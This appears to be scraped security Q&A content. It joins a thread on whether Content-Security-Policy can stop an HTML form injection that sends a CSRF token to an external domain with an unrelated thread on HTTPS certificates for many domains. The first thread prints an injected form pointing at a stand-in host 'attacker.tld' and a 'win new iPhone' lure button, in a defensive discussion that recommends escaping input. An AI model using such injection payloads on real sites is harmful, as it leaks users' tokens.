This is how the author tries to bypass CSP:

Content-Security-Policy: default-src ‘none’;

<form action=”http://attacker.tld”>

<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>

<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />

<input type=”submit” value=”Subscribe to newsletter” />

</form>

I want to know is there a way CSP should be implemented to stop the above attack and circumvent the sensitive tokens to be sent to external domain?
Or proper encoding of special characters has to be done to stop this.

Question changed in between :)

In this case is not clear how you submit the malicious form. In order t get it work you have to inject something like:

<form method="post" target="abc"><form method="post" target="evil"><input type="submit" value="Click me to win new iPhone" />
<input type="hidden" name="..." value="...">.....

and make the user click the button somehow (as there is no option to submit automatically). I can also see possibility to hide original button using the CSS and replacing it with your button.

You asking how to protect against this. I can see two options:

fix the server code to properly validate / escape user input
place the application firewall in front of the web server and filter out all injections there

In both cases I would say replacing (escaping) of < with &amplt; and > with &ampgt; for all input parameters would work in such case.

as @Arminius correctly said there is no way how to configure CSP against this.


Https forms on tens of domains What is the optimal way (cost-wise, too) to secure page forms (https) on a large number of domains&subdomains? Are certificates required for all domains? Is putting all the page forms on a single secured domain -and than redirecting frm all sites to this one- a solution?

Yes - Security certificates are tied to a domain (even example.com and www.example.com would technically need two certificates or a multiple domain certificate). You can get a wildcard certificate, but I think they are still very expensive and work for one second-level domain.

Yes - I think you should be OK submitting across domains since you (presumably) own both sites. You'll probably want to check the referrer in server-side code to ensure it is coming from a site you intend it do (spam control and security), and it'll give you a place to return the user.

You may run into cross-domain issues, but I think you'll be OK. You should be able to have the form hosted on one site, but it will post data to the secure site.

Credit for this to the answer below from @AJHenderson - Use StartSSL. I had no idea. I upvoted his answer for that reason. I'm now using individual StartSSL certs for SPDY on Nginx on several domains, on one IP. It works on newer browsers, however I don't care much about browsers/OSes that can't handle it due to the content of my sites.